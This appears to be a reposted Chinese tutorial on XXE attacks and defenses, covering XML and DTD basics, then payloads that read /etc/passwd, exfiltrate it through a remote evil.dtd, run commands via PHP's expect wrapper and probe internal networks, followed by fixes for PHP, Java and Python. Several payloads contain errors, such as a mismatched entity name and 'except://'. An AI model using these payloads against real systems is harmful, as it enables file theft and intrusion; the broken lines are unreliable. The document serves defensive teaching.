XXE漏洞攻擊與防禦
轉自https://www.jianshu.com/p/7325b2ef8fc9
0x01 XML基礎
在聊XXE之前,先說說相關的XML知識吧。
定義
XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
文檔結構
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
<!--XML聲明-->
<?xml version="1.0"?>
<!--文檔類型定義-->
<!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
內部聲明DTD:
<!DOCTYPE 根元素 [元素聲明]>
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD中的一些重要的關鍵字:
- DOCTYPE(DTD的聲明)
- ENTITY(實體的聲明)
- SYSTEM、PUBLIC(外部資源申請)
實體類別介紹
實體主要分為一下四類
- 內置實體 (Built-in entities)
- 字符實體 (Character entities)
- 通用實體 (General entities)
- 參數實體 (Parameter entities)
參數實體用%實體名稱申明,引用時也用%實體名稱;
其余實體直接用實體名稱申明,引用時用&實體名稱。
參數實體只能在DTD中申明,DTD中引用;
其余實體只能在DTD中申明,可在xml文檔中引用。
舉例:
內部實體
<!ENTITY 實體名稱 "實體內容">
外部實體
<!ENTITY 實體名稱 SYSTEM "URI">
參數實體
<!ENTITY % 實體名稱 "實體內容">
或者
<!ENTITY % 實體名稱 "URI">
註意:參數實體是在DTD中被引用的,而其余實體是在xml文檔中被引用的。
外部實體
默認協議
PHP擴展協議
舉例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>
0x02 XXE漏洞
XXE就是XML外部實體註入。當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
舉例
- 惡意引入外部實體(1)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
<value>&passwd;</value>
</a>
- 惡意引入外部實體(2)
**XML內容**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%d;
]>
<aaa>&b;</aaa>
DTD文件內容
<!ENTITY b SYSTEM "file:///etc/passwd">
- 惡意引入外部實體(3)
XML文件內容
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY f SYSTEM "http://www.m03.com/evil.dtd">
]>
<a>&b;</a>
DTD文件內容
<!ENTITY b SYSTEM "file:///etc/passwd">
XXE的危害
- 讀取任意文件
- 有回顯
XML.php
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
訪問XML.php可以讀取etc/passwd文件內容
- 無回顯
當頁面沒有回顯的話,可以將文件內容發送到遠程服務器,然後讀取。
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
遠程服務器的evil.dtd文件內容
<!ENTITY b SYSTEM "file:///etc/passwd">
- 命令執行
php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
- 內網探測/SSRF
由於xml實體註入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。
0x03 XXE漏洞修復與防禦
- 使用開發語言提供的禁用外部實體的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
0x04 遺留問題(已解決)
以上測試在php5.4一下包括5.4是成功的,php5.5及以上是不成功的。可能的原因是5.5以上版本後,simplexml_load_string()、DOMDocument::loadxml()等不解析外部實體導致都不到文件還是因為libxml2版本的問題,還是高版本的php本身默認不解析外部實體呢,還是其他神惡魔原因呢?如果是因為php本身問題,那麽XXE的利用範圍也太過小了吧,應該不是這樣的。。但是講道理網上的資料太老了吧,估計也是參考別人的自己沒有試驗吧,等有空再做實驗看看是什麽問題。
(2017.9.20更新)
今天在弄phith0n的vulhub的時候,無意間看到php-xxe的項目,得到了我想要的結果。XXE的利用跟php版本沒有關系,而是xmllib的版本問題,xmllib2.9.0以後,是默認不解析外部實體的。
0x05 參考文獻
https://security.tencent.com/index.php/blog/msg/69
http://php.yjsweb.cn/php/68075544811183197241.html
https://thief.one/2017/06/20/1/
作者:Pino_HD
鏈接:https://www.jianshu.com/p/7325b2ef8fc9
來源:簡書
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請註明出處。
XXE漏洞攻擊與防禦